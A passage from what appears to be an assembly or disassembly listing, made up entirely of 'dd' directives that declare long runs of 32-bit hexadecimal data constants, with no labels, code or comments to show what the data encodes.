9DF4ECC0h dd 0F5C6C030h, 0F4703E81h, 0DD5AB0EAh, 3AB8010h, 0D26F647Bh dd 0E6FA6E05h, 80C252D1h, 8E4E572h, 830FC520h, 0EAAD0725h dd 0D08AC90Eh, 73CE0798h, 3042E32Dh, 16EC6D97h, 45584709h dd 0ACEE06C1h, 4C27E71Eh, 0EB8AB840h, 906C27C8h, 8274B6F0h dd 2056BD8h, 6DDC098h, 7400F071h, 0E50481EAh, 0EE4F9539h dd 484A4C1Dh, 0EB18614Ah, 0E441817Fh, 1CF75CE1h, 30DB189Eh dd 5D65E681h, 0B4EC824Ah, 84251603h, 0D014B8B9h, 7F015C4h dd 89360F27h, 2A1CED81h, 2E964FF4h, 0E8CF7Fh, 3D3B9833h dd 8C2558CBh, 2BC468FEh, 91290E41h, 0DB27DD28h, 946141E6h dd 31886882h, 59CB2917h, 0BA64052Eh, 28E0892Fh, 250B009Ch dd 0FB6B677Ch, 98A6C7h, 7903F9D9h, 9F1A1D97h, 0C507489Ch dd 5457FE60h, 0B3A39170h, 14DA7C74h, 9BA2677Ah, 3FF5C440h dd 230510BCh, 81778A2Eh, 78D5EA39h, 0EF200E2Ch, 0A03A4F6Ah dd 0A3475C7Ch, 0BCE63EC4h, 0DE55C707h, 8748E97h, 0F8FFC000h dd 8B845F01h, 0E1E2A01h, 891DEB44h, 10CC133Fh, 0C30368A8h dd 0CB74A31Ah, 0B0CA838Bh, 6B0448F8h, 98DED9C5h, 0F63934A9h dd 4C890E0h, 8B04FFB0h, 90DE5CF0h, 9495A890h, 0B5723DCAh dd 59AEB781h, 42137D84h, 0E853BDECh, 0E09A6085h, 0F9C468A8h dd 10200994h, 904CC398h, 0A6E920D4h, 52598B0h, 97FC5A99h dd 0B2E58805h, 76F5123Ch, 0E874580Ah, 0B054032Dh, 396010D0h dd 95C00041h, 6E0F8252h, 0B7C90029h, 0E47C4E23h, 804CCE71h dd 47A3C884h, 0F8C6A50h, 0D9805206h, 0ADD382AEh, 37C46C02h dd 7402B583h, 306D470Ch, 5CCF7261h, 0C06B3C27h, 5D0CE1Ch dd 0CDE4C0F8h, 0E8D882B3h dd 0FB00787Ah, 0A4F7D692h, 0DFCCF3h, 0E0E53845h, 341DDE44h dd 7490B0BAh, 0A1E29F16h, 13973408h, 27A8F775h, 0A9601866h dd 7B80C352h, 1DC1FCCAh, 7D108263h, 7647A864h, 0F4836138h dd 0DD002482h, 381FB57Ch, 9115FD25h, 8CE309ACh, 0BA80936h dd 0C7A04118h, 8216A03Ah, 8A811A60h, 0C4130B8Eh, 32D70h dd 0FDB77816h, 5BE8E918h, 69920297h, 54B53CDh, 0AE831C48h dd 0E10564B4h, 4D4A22Eh, 38F7ACD1h, 5E2B4800h, 0AD8738h dd 6706FA59h, 40F55C0Dh, 440011B9h, 0FE582F32h, 26EA6BDDh dd 0A74493BBh, 0BA839C22h, 0F3673C54h, 132C14EBh, 95AF0E84h dd 850CC5B0h, 5040C970h, 912271A0h, 5FC7B100h, 0C968FF2Ch dd 847D0102h, 0EAD6AC7Bh, 0B41F6A25h, 0F0167600h, 24419C1h dd 0FEDBC0E8h, 5064368Bh, 5BAC2303h, 0A57FC3C4h, 123EB8B1h dd 26709878h, 0C427E25Eh, 0C4121682h, 0F3C50064h, 0EE026E6Fh dd 8A05D2Ah, 3D0B1D82h, 1D91BE9h, 0ACC76B58h, 282478F0h dd 2AC418Ch, 0AE57B8DCh, 90D84D83h, 0E891D54Eh, 4F0C975h dd 0C49ABFh, 730D6D10h, 9D9E6607h, 384E7807h, 0CBE01C75h dd 247C51h, 26533A85h, 4A8AD9FFh, 0EA102A04h, 94A02E16h dd 61A562C8h, 0F058E95Ch, 0E205FF74h, 8526278Eh, 1F16E881h dd 0BE609007h, 2D341DFEh, 0BAAF18Eh, 9F8112D0h, 2B2A83F1h dd 1D443000h, 0AA02ABC4h, 9D185EE4h, 0CE5F2011h, 597B6100h dd 1CF6D92h, 74C43E47h, 0D4FDCCF0h, 0F0345C0h, 6D1C688Ch dd 5B71039Eh, 0CFBBA887h, 18D03Bh, 0A38850F1h, 0A64B02h dd 0C5306953h, 0F9CB0BBAh, 0F605C74h, 0FC1C76D8h, 8248DFD3h dd 0FD87EA18h, 425E0068h, 84791604h, 0B4987AFBh, 76E165Ch dd 4E40B2ADh, 0DE8EC20h, 0CD848CEh, 0E699DE82h, 0D0A9606Ch dd 34283FBEh, 0CE18847h, 0C2506A4Ch, 0D9B8315Ch, 0BFEE074Ch dd 109E6FDAh, 11D40494h, 0ACF89684h, 1DF42E05h, 0FAB0B0D5h dd 8F4EAFB8h, 0C7B4030h, 4482B7B1h, 40C16385h, 310BD16Ah dd 9F7CE414h, 39205FFCh, 44774A02h, 1D26CE0h, 8A6723CCh dd 305C0CE4h, 0D8603C32h, 0C926A645h, 1010C12h, 0B9049B7Ah dd 0F42899DDh, 95E81E09h, 68D8946Bh, 0EA16ACFBh, 0F8F418D6h dd 7C4D0025h, 0AFC2C4EFh, 9600B2CFh, 99DD8465h, 514DF27h dd 5423310h, 5D20C0E2h, 1907F717h, 8A3102D1h, 0B0E861C4h dd 0C092F810h, 0E92C72CEh, 0EF8339ADh, 0E2AADC0Bh, 0E31078E8h dd 14E48A3Fh, 25A4E1D8h, 276CC4C1h, 2020B174h, 0FE92EAD2h dd 8323B0C0h, 4147350h, 0AFCD79ACh, 30A6C8h, 68C4EC4h dd 664C5CD1h, 68899096h, 9FDC9C44h, 607B4069h, 9D125100h dd 100710C7h, 39F136C5h, 0BC3CC31Eh, 1A44F302h, 3C7AF8B0h dd 95A15C10h, 0F451DA2Dh, 0EC20D724h, 2B165A7Bh, 0D0042A26h dd 0D8B0459Bh, 0EE883083h, 0C1114778h, 0BF6DE124h, 27EA5830h dd 3089851h, 0BEE4F33Ah, 26C8AC0Dh, 307B0BCEh, 0F1FCC000h dd 507DCFC4h, 731E1E75h, 840A42B7h, 285E9031h, 127BC26h dd 0D1081DA8h, 0C08B302Ch, 5C453C8Bh, 30CD0487h, 4F3472CBh dd 1FA45D54h, 134424C5h, 28E4A17Bh, 61CD0990h, 2D681004h dd 72058171h, 9C011340h, 1EFE9043h, 0C895E110h, 0BC25C2F0h dd 0B8208D48h, 3A6FCD80h, 0D4276822h, 5C17408Ch, 54968EFEh dd 685E3A8Ch, 793200DAh, 5A6F77C8h, 0C400AA99h, 7FF9BAC6h dd 1CA06460h, 801B068Bh, 2B39E604h, 9100F571h, 0CA738102h dd 648CC6Dh, 0F05CDADBh, 0C8B460E9h, 20D46CC9h, 0DB0C195Ah dd 0B97FEA5Ch, 0B40400AAh, 5995CABEh, 98022926h, 861C7E93h dd 0C1946A78h, 62EA2C34h, 1CAC5E54h, 0FCEFE0C8h, 6F0EA147h dd 47626E54h, 0C023EB74h, 6B37E8CAh, 0B073FCC5h, 720C2460h dd 3DDB098Ch, 9B08E80Eh, 0EA702302h, 265454FBh, 518BC94h dd 2122A1E0h, 0FCDD2001h, 871C7BCCh, 579901D3h, 73119564h dd 0FF147010h, 14E08F12h, 0CED1105h, 1EC3A4B8h, 3904D91Ch dd 0F71AF0FFh, 0B516DCC1h, 7874DE02h, 65125CACh, 5C4094C6h dd 0BF051025h, 0C4845CFEh, 0D0588156h, 0B79EE0B0h, 7B6060C3h dd 40697AF7h, 0B107AD80h, 7F3DB51Fh, 0C214894Fh, 3C6CDC50h dd 0F5C4E916h, 90042BD0h, 0C70B1682h, 9CE61098h, 85635C70h dd 80D10378h, 29BBAEAh, 412AE398h, 0B45C6F8Ah, 0A3CAC280h dd 0EE1C79FBh, 1ED09A2Fh, 80EC055Ch, 29F1EDC5h, 0FC0099CCh dd 2EF3EBFEh, 22A931h, 70D30DD5h, 239E76CBh, 5CE72D04h dd 9803AAB3h, 74C18818h, 4E888F75h, 0CCC0161Eh, 2F782BAAh dd 0EC61351Ch, 0FE01C804h, 4ECA0C00h, 0A4763F22h, 609500A3h dd 0C4A5D1C2h, 1F04C3EEh, 89946481h, 23A120ACh, 0AC6C4Eh dd 0E4BC01C0h, 0C3898C1Dh, 2A682C60h, 0E859A1A2h, 65EF485h dd 5D25F0C0h, 481767BBh, 682AF08Ah, 0CB16CC76h, 0BC068C34h dd 1DC97E5Ch, 0C0143ADAh, 0AB836656h, 0C913E421h, 6481DF5Ch dd 30357882h, 0EB81007Dh, 2B469ED2h, 198A1041h, 21AD1132h dd 2558744Ch, 0FCA05EDCh, 0D93C40FAh, 0BBC9CE00h, 0F57E664Ah dd 54565C92h, 28B11001h, 0E8DE341Eh, 0A712EAE6h, 14E24691h dd 0E064B825h, 0FAB28C80h, 0DA2CEF0Bh, 6B8802F6h, 0EFECF451h dd 4BC4F01h, 0A0143F9Ch, 0C6702D64h, 0D4C095D4h, 501E24FBh dd 18D25CBEh, 0D0374040h, 0CBD3EA0Dh, 8F8BC089h, 64B0680Bh dd 70054B3h, 481FB456h, 174F9DDEh, 0E0C8EB3Fh, 7400EC2Ch dd 317B827Fh, 26EAE6Ch, 94EA2CACh, 589A490Eh, 695E0ECh dd 2CA66560h, 0DCCC77h, 401D6EE6h, 4490DEAh, 5C7D1D94h dd 8838D55Ah, 0F86ADC3Ch, 3F03F116h, 2CBE1AEBh, 8858A818h dd 0C20A4F6Bh, 8564E02Bh, 0ADA48412h, 4B1E8508h, 0B8537CD0h dd 0D2C002B7h, 0A41DCB9Ch, 0D9809CCBh, 0B1006DD3h, 6EBD74EFh dd 0CD14BEh, 0BFF7C1F4h, 1A283F5Fh, 40AE8A27h, 276B7D88h dd 0C498A602h, 7200B46h, 0FD2E097Eh, 20A0C11Dh, 0B30E5B2Ch dd 1EEF5C1Dh, 1F15B182h, 0EA1F4030h, 0D03C64D4h, 3BD4F6CEh dd 9EB04D79h, 3F9BD131h, 2C83A834h, 178AFBFh, 0AA1C72D1h dd 20D035BEh, 0A40A1580h, 9094F65Ch, 773C34A6h, 80246948h dd 53C4C9ABh, 830200C5h, 0AED41C0Fh, 110F2D13h, 438A62C6h dd 9A2B1003h, 0BD78E5BDh, 7C2F31Dh, 0C762BECFh, 0C0E73684h dd 7844315Fh, 710145A7h, 8772FF1Ch, 0EA60ABA0h, 9848D066h dd 0BA8F30D0h, 2482CDC8h, 1280A997h, 4E3072E4h, 697C17FAh dd 0E0746FACh, 6D8BD0A8h, 722874D0h, 0AF1E601Fh, 0DEC36450h dd 0C091C844h, 0CA95BE5h, 68265CF2h, 66094730h, 80BC4670h dd 0C1ED74A8h, 0F4605D23h, 86FC975Ah, 9C05C0B1h, 0D4C71DC4h dd 60C2D0BDh, 0F0D3E821h, 1010320Ah, 0BEE0F88h, 4233A1Eh dd 3788C405h, 0F498E3C0h, 61F48327h, 0A4307434h, 549558E1h dd 70799E10h, 0CA71CF16h, 8F061400h, 3DD899F9h, 332C28F2h dd 88E52798h, 0CE08B00h, 0EBB01244h, 0C2033429h, 0BCF536EDh dd 2B331DF9h, 2EFF2802h, 0D57CC00Fh, 0EAD8A894h, 0C1234E56h dd 6655D8h, 0E6F1FBh, 75C76ACFh, 6E89E71Fh, 0EC1CDD7Ch dd 4F4423F4h, 48EC93EAh, 5D83B509h, 0F5091C50h, 508B1E2Dh dd 325CE0F0h, 78A8EA63h, 0D020450h, 17D0BC40h, 1E1C68F1h dd 94C65D24h, 647A5603h, 3188529Eh, 104F4427h, 0C2B03C55h dd 98D61360h, 48D5EAC8h, 7BCAB8AEh, 58F608B8h, 0C84C8202h dd 3DE82395h, 49F0A049h dd 3E0B284h, 104DD3C2h, 0B5EB0C04h, 0BDB10F3h, 0F7ECC671h dd 744FA044h, 0E02758BCh, 0F9E1CC22h, 0C0AED900h, 81595B53h dd 8CA588h, 726DCA79h, 0C5E80067h, 0A4D69C44h, 8F002AE6h dd 2C7345D0h, 3EEDF8Eh, 1F7DC3D8h, 0EAB0F33Bh, 3CB28C43h dd 919B6B00h, 825C09B4h, 0DB70CEA0h, 62EE64Fh, 7BB6462h dd 25EC1C4Eh, 80422A2Bh, 270880A6h, 6FBE068Eh, 0F89AD8BBh dd 0DD699B13h, 83CC5030h, 60884DD2h, 0A5E06132h, 8052107Eh dd 46EACEF4h, 2BFD8006h, 9C976402h, 0E14D9E2Fh, 0FEC5904h dd 0F274008Dh, 0E9FAC3CCh, 0BA95480Dh, 165CD608h, 0C39004FCh dd 0F91E048Dh, 706B5C97h, 4322604h, 0C8D363C4h, 0AE3AE4A7h dd 5CF57470h, 0B4BB4AE0h, 0AE05DE98h, 64845409h, 9A800F0h dd 0B713F04Bh, 47B38400h, 0C302F92Ch, 341C7D59h, 1EC454D5h dd 6664014Eh, 60044FF4h, 6C07C0D4h, 0E4719F02h, 8E80AEFh dd 0C0F6B512h, 0CC692575h, 0B06E602Fh, 82A5A435h, 547C91A4h dd 613C3E80h, 7092C07h, 3D1DA8D8h, 0C4AFC0C3h, 6407A1E6h dd 9DDDFC1Eh, 0E52E16F0h, 0A360059Eh, 546583h, 0E4EC0490h dd 4F1C632Bh, 8440B3A5h, 2F5CB20Fh, 60AD5F0Ah, 73CD642Ch dd 0CA186895h, 70845D83h, 0F820E76h, 0B1403EA8h, 0B2F25C0Dh dd 96AFC0A8h, 8A1E5492h, 3FB0BFCh, 7265CD44h, 0CC1100FDh dd 0E0F54802h, 819D6CEAh, 9483CEFCh, 0BE13E83Ch, 244F22Fh dd 98CAF6BDh, 0BF0441FBh, 6DCC618Bh, 0C720DC64h, 9160125Fh dd 678A3CDh, 283D8466h, 0C4A39D28h, 1000DF6Eh, 244C10E9h dd 9818C238h, 0E8823B23h, 0FEAE7E80h, 0B67932ABh, 6820714Eh dd 13A91DC2h, 5DCEA6E1h, 0F0922DC8h, 0F85D3C50h, 5E030C54h dd 715CD093h, 7930CFA9h, 0EACF7B80h, 48BBCAF5h, 0AD137200h dd 0BF759465h, 98502Bh, 0E900B7BEh, 91FB1E74h, 0B95C9D5h dd 0B02CEA52h, 96BE34E8h, 0CA07A10Ah, 0A5009574h, 0D9FBEE7Ch dd 0E24109DBh, 68847242h, 297080D1h, 0CA09B798h, 0B646Bh dd 0F287CCCh, 225C1918h, 6A8278E1h, 183CE02Dh, 0B6B7310h dd 15E6095h, 0AD5764E8h, 0F4F4C0E6h, 0D54E0006h, 8FA58365h dd 443CDCA3h, 0A26B18EAh, 9575D811h, 40BC48CEh, 5461100h dd 96ED196h, 0EE63E10Fh, 178A074h, 2F248158h, 648B7C06h dd 0D8809710h, 3886C05Ch, 1796E63Bh, 70221C47h, 0E0AB5504h dd 331E4C30h, 96D84997h, 0D0A1E4EBh, 9B0198E5h, 0AD09F88Bh dd 8615D0A0h, 1E0581B7h, 703C6305h, 2CF931CBh, 54E46F17h dd 99ED40D3h, 2E3F200h, 5750054Bh, 5A2C2D69h, 0B07E3825h dd 30FCEAF8h, 0E0E278D2h, 30F12B89h, 2095029h, 407C59E8h dd 284FE4C4h, 1E239D1Ch, 53DC54FDh, 60957C90h, 754BF950h dd 99AF60Bh, 0AD8FEACBh, 183C40D1h, 0BDB9B838h, 0B5CA2EF3h dd 897F4238h, 0C8FEDB02h, 0DDFAE8h, 1BBD31BAh, 7B0423C4h dd 0E2C91C3Fh, 0D9F1FC28h, 4F4C26CCh, 4F5CEB25h, 2C40EFA0h dd 1DCE740Fh, 0C83A9130h, 721E89F4h, 649B0119h, 335D6A94h dd 44442E39h, 6B00D616h, 2BFBFF5Fh, 8E0150E6h, 0DF8A0B90h dd 647C7982h, 65E1BC05h, 0E890356Fh, 4060935Ch, 0A8BE995Ch dd 474EAC8h, 8A4410F0h, 64C5BB6Fh, 9D33D060h, 80C160C9h dd 9F631E68h, 2A74D800h, 1DF84066h, 0A0E86FAAh, 82FB76E7h dd 44FA9BCAh, 2866A600h, 0FA3452B0h, 65F0002Eh, 409D296h dd 0A4A04551h, 247B3DE1h, 73200C92h, 20C8B031h, 1D137816h dd 803A227h, 88E8CD2Ch, 0EAAF4B2Bh, 473A34EAh, 0C41CB831h dd 0A0E0CCEFh, 0BD4F1Eh, 614EDC98h, 314BACBFh, 0C95C0880h dd 0CF24BA93h, 386E043Ch, 6CED69C0h, 0EA14A614h, 841D9Ah dd 1E59ABC2h, 0C9E0FD79h, 5448C0D4h, 4730EAD3h, 4BF883Dh dd 0E804EBE3h, 245C6040h, 0EC9DF947h, 55E704CBh, 0C8C4D17Dh dd 62605FDCh, 1DF1EBE8h, 22703D9h, 0B5C16D1h, 8860908Dh dd 40096703h, 0CD693Eh, 0E0DFD498h, 332B02A9h, 18764A32h dd 3287041h, 8A282FE6h, 1AC8A8E0h, 9CD32002h, 91331Dh dd 30670454h, 0B0FE7Bh, 18B09033h, 0E0994AF2h, 469564B0h dd 0E9BE20ECh, 0D92C7225h, 8BFF04CCh, 2D60A92Eh, 6010CA02h dd 8009DD08h, 43269026h, 200A847h, 3D48DC3Ah, 95C100E9h dd 7F7B824Eh, 10135C22h, 74F46D8Ah, 0E80103ECh, 0A1E45FA7h dd 9089AC7h, 148431C3h, 131CB8A8h, 90A4DDDAh, 143A3F15h dd 33DE4060h, 0DDA111B7h, 5CE08085h, 8482FFE7h, 88395A73h dd 11093154h, 10E8BC1Fh, 0BCB6A94h, 4461847Eh, 7B03F872h dd 0DE3288E2h, 80C2C29Bh, 56C3C108h, 3AA8907Ah, 1D0ED6E1h dd 3564E522h, 3000C35Bh, 6641FFA2h, 4888198h, 26F98C23h dd 2C4527Ah, 77E19B70h, 0C74280DEh, 0C240FE16h, 7310426Eh dd 0C88C5ABCh, 1E254E24h, 0B93C7AFAh, 3DE28920h, 10BDF0EEh dd 82B6112Ch, 0AA366840h, 1268E497h, 0E050AD99h, 0FA603C80h dd 0D7577538h, 0C06D50DBh, 798A4F8h, 859FE90Dh, 0B1644010h dd 28001979h, 0FC7C2765h, 0ED211654h, 6385E8h, 51A03931h dd 556BCCBBh, 9BF52D0Fh, 0C94300F1h, 7B6C4813h, 5063019Ch dd 38E6E885h, 543F20A0h, 19912501h, 0B07C9BFAh, 0C849DF0h dd 6CF11011h, 9748F010h, 0AF9F07BFh, 0F5808918h, 308509CCh dd 0E7785B4Bh, 173F54A4h, 0F8878DEAh, 0F1F03875h, 0A1630069h dd 0AEB7E2CEh, 0F21FCC42h, 0B80A722Ch, 0FE2508E6h, 0AD293062h dd 8703509Bh, 0B0713806h, 535DA039h, 61183093h, 58AD4B0h dd 7C0C9EE0h, 0B8A034ABh, 0B11B600Fh, 0DCCC558Bh, 9719841Ah dd 35FE0688h, 0AD370729h, 60E1201Bh, 0DD4E2536h, 33AE8900h dd 8F2B580Ah, 0CCA95C99h, 6F312F00h, 0B989A719h, 7C9FB600h dd 0F03C6D25h, 85350C6Ch, 8A608DD6h, 90FFCD30h, 0F03C5D27h dd 705C6062h, 0CA04E777h, 8DE0AD1Fh, 85A19F41h, 38B09514h dd 4635B989h, 0C28A37Ch, 163DA818h, 223C0F25h, 0B21D2227h dd 2F7C00ACh, 0D4AB9C10h, 0FCC6DF0h, 146FC520h, 746AF212h dd 3D9900Ch, 8E308518h, 611040F3h, 62ADF037h, 69F21098h dd 73B11880h, 101D1455h, 38C57A62h, 3C008D1Eh, 0BC3C7D27h dd 0D1713902h, 0AD2F9Eh, 5176E075h, 0BD548770h, 0DE0367D8h dd 838FA042h, 25800708h, 89B7CC5Dh, 0EA890C10h, 78583163h dd 0B7810055h, 3CE286D9h, 723289FDh, 8265794Fh, 81BA97A8h dd 620208C0h, 0A3AF6880h, 76637750h, 38051A0Eh, 4A0A81E8h dd 91D071EAh, 490778D6h, 0F80728B0h, 0C4B17C7Bh, 8108523h dd 1D0A3318h, 2C64B0B5h, 0E2078521h, 0D474C88Fh, 0A46FB03h dd 45FD4555h, 206CF2D0h, 8A9857A0h, 0A82AB730h, 63741083h dd 0C7084869h, 0C4E96101h, 3DA48554h, 6D715884h, 0CC1A8081h dd 8305FA9Ch, 0FCF40E87h, 81459C4Fh, 0B16C8584h, 98B74A00h dd 0B5302360h, 288775DBh, 8C880993h, 10E94CB0h, 2F0A253Fh dd 0C689BF3h, 0BB20E41Eh, 1C993D3Ah, 6C00B904h, 0FB0F87A4h dd 0DB89070h, 0B6185569h, 470C2060h, 9F5A0E05h, 0F380841Dh dd 2A87AB20h, 49C43944h, 88823C79h, 30494785h, 180C31E8h dd 10101FB0h, 7C5CB6h, 9B49248Bh, 863AAFF7h, 1CEE7B26h dd 64316D92h, 3E110561h, 0F19C4055h, 4576D286h, 0E637FA03h dd 3ED46EF2h, 0AF007F11h, 0B2160927h, 0B7243188h, 340A00A1h dd 250A7071h, 0A8E8E065h, 3EE30886h, 555302D9h, 903D101Dh dd 0EA0BC080h, 0F500868Eh dd 72E3CC2Eh, 0E876BFF2h, 21A61E77h, 2887008Dh, 36A2C179h dd 2D1AE601h, 0DCF39BF7h, 0FCCCFC43h, 34AF1903h, 18AC8030h dd 4B9BE41h, 0B815250Ah, 31948DDAh, 0AFA080C7h, 0E3871D1Eh dd 0FC363A7Ah, 0A971489Ah, 11C0DC8Eh, 0B7CD3B07h, 2125E601h dd 87202AC2h, 289F59C5h, 0A55C4ADh, 89C83AEh, 41502FD3h dd 81241C90h, 8761F81Dh, 20870649h, 82419F92h, 0A04089E5h dd 19787E57h, 20109430h, 36E24DEh, 8A0B97E3h, 40009BF4h dd 0A4179573h, 0C0AEAFE8h, 256DDEBCh, 85149780h, 98437C6h dd 879C9649h, 10893D48h, 76FFF190h, 36140FA9h, 4600F42Fh dd 0AE1DAC03h, 8ACC3Bh, 0F686EB63h, 1DC1E7FBh, 0C78EF215h dd 0C01D1944h, 0B01E67F3h, 8DB25A00h, 0BDF26332h, 8B0F0091h dd 179637D4h, 0C301262Eh, 83F5F6BEh, 9FF08F59h, 1AE0618h dd 10F3D184h, 4C261701h, 3283F13Bh, 38AF7BE0h, 774210Eh dd 5907F937h, 0DBE841A9h, 0CC1FE153h, 0A258500Fh, 0A06C0034h dd 544AAD09h, 9CF41E2Ch, 841F80FBh, 9F383DDBh, 0DD1C2D06h dd 18307B9Dh, 78865A85h, 530DCBE7h, 10F7E484h, 7703EDFCh dd 6DD5C4Dh, 14705F38h, 32434FFh, 93048B87h, 81A2C483h dd 0B2C3280Dh, 890680ECh, 33E92414h, 55109A5Ah, 8199CDCBh dd 60BBF02Ch, 5F16D41Eh, 3407C714h, 23331C8Bh, 0E730CF3Ch dd 0C71853E9h, 0A60C3114h, 5C650633h, 44265893h, 0F791402Ch dd 0AE87D031h, 908C478Fh, 0C8473CD9h, 640C8B28h, 0E9E5A0C1h dd 20995241h, 1702885Ch, 48689EC3h, 4862260Ah, 0B0034DD3h dd 5AF081EBh, 1813C90h, 0E3BA525Eh, 1E83802h, 148B28D6h dd 1F681935h, 8D34DF6Dh, 0C8B209Bh, 0F7A0630Ch, 5AD3298Eh dd 215BDE60h, 0DFE45EF7h, 61D5E915h, 0E2ED0EBCh, 2923E1CCh dd 0B9705DEFh, 0D2C9CA6Eh, 8B9C1EABh, 80DDD504h, 7D40E524h dd 4D7F3B99h, 0CFB0CD9Dh, 0F5A772A9h, 4711023h, 860E5C1h dd 0B4C27F5Ch, 0EA01068Bh, 5A4C32E9h, 3B69B906h, 40FA58C3h dd 893C562Bh, 956319E6h, 0BFFCD6BBh, 2A0EDD37h, 7F48206Eh dd 5FFD010Fh, 4B2F2559h, 31D6DA43h, 0CEE93F5h, 33556808h dd 8E443037h, 8172EFh, 0C840DD6h, 4C7835Dh, 44188748h dd 0AE3168D2h, 3E083905h, 0B8F18100h, 4AED0A07h, 0E8D4CA89h dd 0BD717394h, 9543D46Fh, 0DB72B729h, 55609870h, 1908EE57h dd 8A0BDA23h, 0D545F8CAh, 0E9FD8906h, 0AC40E22Ah, 4C576695h dd 8001401Eh, 0D7F651E7h, 0DFD1EFD0h, 0F9FAC7E4h, 0E2C8FDCh dd 4F8282Ah, 0E9525B80h, 50D8D731h, 81EB760Ch, 505A24ADh dd 4F9295F4h, 8B985B68h, 0C15F6100h, 8102E7h, 0E15567CFh dd 42C4681Fh, 7E83CDAAh, 0D33B01B9h, 2FFC0951h, 0E1CA0329h dd 602AA25Ch, 0A3E9D906h, 0CB2662F6h, 95900868h, 0F8918E3Ah dd 55E28AB9h, 5D409468h, 1C3CBB53h, 8D18E921h, 42498F2Eh dd 8F8389F2h, 779F74FFh, 5C10EC58h, 0E99C6654h, 302FB536h dd 3EE383CCh, 0FF37818Eh, 0B4806F03h, 293D9644h, 0FD30C87Dh dd 0EABB3240h, 23FE3D7Eh, 4F14310h, 0C0B60F5Ah, 94C8583h dd 14F757A1h, 0A85F6D91h, 817DB0E3h, 2035CB02h, 43FA2931h dd 46C2D253h, 83844413h, 488716CCh, 67B3005Ch, 0C052E380h dd 0E97A08EBh, 5C29EA6Ch, 60C37A31h, 0EE014738h, 7EDE875Dh dd 9C4016D2h, 655EEB81h, 0E4017FD2h, 2112C1D3h, 315C1A74h dd 4382C22Fh, 0C1A03520h, 0F7B7241Ch, 27AC681Ah, 51A40115h dd 0D452AEE9h, 1C828966h, 0E9540CD6h, 5912211Dh, 383A8893h dd 2CD81DF3h, 0A5B4E90Ch, 0BE562858h, 0F2010112h, 0E089505Eh dd 830B4105h, 898D47E8h, 6C43CB13h, 2B5A21FAh, 94E91F09h dd 0F61D99FAh, 6CC2CAD5h, 8CBEA1EAh, 0E20D6E80h, 91285826h dd 0A7F3013Dh, 1C8BD830h, 6B19B833h, 246A372Ch, 0B303531Ch dd 885150FBh, 0F1E893DDh, 0BE5230CBh, 234A3C1h, 0F5E1120Dh dd 55AF005Eh, 21249D31h, 511F5D98h, 0C1693C68h, 29ECBB80h dd 0A4E939BDh, 0EDB901D3h, 312C6A47h, 0CDE330D9h, 0F9933FB0h dd 833B6A4h, 0EB4C2605h, 33F40CE4h, 2472F21Dh, 29F67603h dd 0F94F5AD7h, 1E874635h, 832BB652h, 107E507Dh, 4EFC119h dd 0B2600306h, 0D86412B3h, 0B66B0042h, 3187BFC9h, 0A855C2CCh dd 655C814Eh, 127523B9h, 0BF41F921h, 35316802h, 52731F33h dd 106ADCD9h, 8A6E9E08h, 86F12954h, 347D9AE9h, 3A01BA7Ch dd 0EAC138F8h, 46CC8107h, 0DD7A05B8h, 8C539D68h, 0A500BE8Ah dd 813A9F55h, 3B6869C6h, 0E6031C03h, 7A3B7912h, 92841DE5h dd 0DAB10421h, 201618DDh, 48C177AEh, 6A7E4931h, 10D88152h dd 64B073D1h, 0E5FAA20h, 0B22DD8F7h, 253240FEh, 4AA66ACBh dd 78A80500h, 36E9BD99h, 5A2CCB7Eh, 3F559700h, 59F86993h dd 0C5CF8354h, 8BAE99A4h, 48EDF559h, 6A382EA2h, 0CC6066Fh dd 56AC10h, 7475B850h, 0E9972ED1h, 0DB780524h, 4492CC67h dd 2000931h, 763E4CCFh, 0E29814Ch, 867B1748h, 7B2373FBh dd 0F5E06056h, 0EC885066h, 246C8A0Fh, 0A03EAB02h, 0F99DB96Fh dd 32A27ABBh, 0C6D18A29h, 74AA4913h, 0DA005838h, 5B67EA80h dd 0C90FB753h, 458EB450h, 9C826DCCh, 0E2C001DBh, 63CAEC04h dd 0F2EAFE73h, 0D5303817h, 480B8552h, 0ECBC1493h, 0CEDCFD44h dd 0FAB2822h, 45110208h, 6C2934B3h, 0A229308h, 100824CBh dd 92ED8A19h, 2C7732F2h, 2909D010h, 454F0F2Dh, 8A56F715h dd 0B802CC33h, 0F6372B05h, 62E87E01h, 2C8B0E2Dh, 0C0ECCF93h dd 550B6EC3h, 2931BDECh, 0C6C5145Ch, 9201B641h, 5D989928h dd 5459F868h, 2364D391h, 570DCE81h, 0FEE1D000h, 8004C960h dd 732859C1h, 98D69BC8h, 0EE7FE80Ch, 3B1A4082h, 0DBEB54DFh dd 9A643F68h, 0E57E2CD8h, 0B25D0842h, 5C3869EAh, 0E2538049h dd 0E3A0241Ch, 94CA2128h, 333306EBh, 6093122h, 0A384C3E9h dd 83207FF2h, 48E4C20Fh, 49BE68AAh, 72171F26h, 0D28637E1h dd 4EC62DC2h, 3EC3C982h, 63BF0FD8h, 92E9490Bh, 61379A4Ah dd 1008039h, 679858C7h, 53C6489h, 8844D284h, 5F9CE689h dd 0BA865DA5h, 74ACCD28h, 262C0AC5h, 71ADE828h, 8BCECEEFh dd 48A85DF6h, 0F90FBD55h, 0C6252C56h, 3978DABCh, 0C02CC8FEh dd 0E51162Dh, 0C5095B42h, 59EE9A02h, 0D202D3E0h, 0FFEDA492h dd 6B5E0D26h, 0AD325400h, 98D6F70Ch, 5022E74Dh, 3ED00429h dd 7D9D272Ah, 48AE90B2h, 0D41CEAC1h, 8458BAF6h, 8820BC51h dd 46794D6Eh, 838D8842h, 100480Ch, 962CD4Ch, 63302C5h dd 0C1063175h, 0BB685C0Dh, 0E28F4D13h, 18203CE6h, 0D1400011h dd 0D44305E8h, 0D9FA614Eh, 5CC0E564h, 400303E4h, 0B2A8338Ah dd 22C4F91Ah, 47C46488h, 71D7512h, 0F8FE98E2h, 49A43A68h dd 4B774F49h, 49E4988h, 12E95D38h, 80265FBAh, 0E816FAF5h dd 0C3F8B22Dh, 2ADBB08Ah, 81250701h, 0EBFC7FDCh, 0DBF6338Dh dd 0CBC16328h, 21683E1h, 0F75BDC88h, 5E4C031h, 0FC8CECF8h dd 50C27EF4h, 0F7A5EBE5h, 500B0262h, 3820775h, 87054FD0h dd 20358744h, 0BE06510Bh, 666F1F13h, 595465AFh, 518343D8h dd 0EEFEDAE9h, 49FEF6A3h, 1664AED8h, 0F628866h, 0E718CE6Ah dd 0CAB8351h, 30C34E4h, 3D46E92Bh, 0C6FE281Dh, 0CE7170C9h dd 943AF6ECh, 4C2D00A7h, 12069E4h, 8358C11Ah, 66F129B2h dd 4DE979D2h, 0C1100B16h, 